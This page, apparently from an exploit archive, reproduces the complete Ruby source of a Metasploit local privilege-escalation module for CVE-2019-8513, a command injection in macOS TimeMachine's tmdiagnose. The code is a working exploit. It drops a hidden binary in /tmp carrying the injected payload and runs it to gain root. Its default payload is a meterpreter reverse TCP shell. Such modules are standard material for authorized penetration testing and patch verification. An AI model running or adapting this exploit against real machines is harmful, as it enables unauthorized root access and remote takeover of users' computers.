Mac os x timemachine tmdiagnose command injection privilege escalation (metasploit) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-07-02 | Type : local | Platform : macos

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[+] Code ...

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Post::OSX::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Mac OS X TimeMachine (tmdiagnose) Command Injection Privilege Escalation',
'Description' => %q{
This module exploits a command injection in TimeMachine on macOS <= 10.14.3 in
order to run a payload as root. The tmdiagnose binary on OSX <= 10.14.3 suffers
from a command injection vulnerability that can be exploited by creating a
specially crafted disk label.

The tmdiagnose binary uses awk to list every mounted volume, and composes
shell commands based on the volume labels. By creating a volume label with the
backtick character, we can have our own binary executed with root priviledges.
},
'License' => MSF_LICENSE,
'Author' => [
'CodeColorist', # Discovery and exploit
'timwr', # Metasploit module
],
'References' => [
['CVE', '2019-8513'],
['URL', 'https://medium.com/0xcc/rootpipe-reborn-part-i-cve-2019-8513-timemachine-root-command-injection-47e056b3cb43'],
['URL', 'https://support.apple.com/en-in/HT209600'],
['URL', 'https://github.com/ChiChou/sploits'],
],
'DefaultTarget' => 0,
'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
'Targets' => [
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
],
'DisclosureDate' => 'Apr 13 2019'))
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end

def upload_executable_file(filepath, filedata)
print_status("Uploading file: '#{filepath}'")
write_file(filepath, filedata)
chmod(filepath)
register_file_for_cleanup(filepath)
end

def check
version = Gem::Version.new(get_system_version)
if version >= Gem::Version.new('10.14.4')
CheckCode::Safe
else
CheckCode::Appears
end
end

def exploit
if check != CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end

if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end

unless writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end

exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-8513", "exploit" ))
if target['Arch'] == ARCH_X64
root_cmd = payload.encoded
else
root_cmd = payload.raw
if target['Arch'] == ARCH_PYTHON
root_cmd = "echo \"#{root_cmd}\" | python"
end
root_cmd = "CMD:#{root_cmd}"
end
if root_cmd.length > 1024
fail_with Failure::PayloadFailed, "Payload size (#{root_cmd.length}) exceeds space in payload placeholder"
end

placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER')
exploit_data[placeholder_index, root_cmd.length] = root_cmd

exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"
upload_executable_file(exploit_file, exploit_data)

print_status("Executing exploit '#{exploit_file}'")
result = cmd_exec(exploit_file)
print_status("Exploit result:\n#{result}")
end
end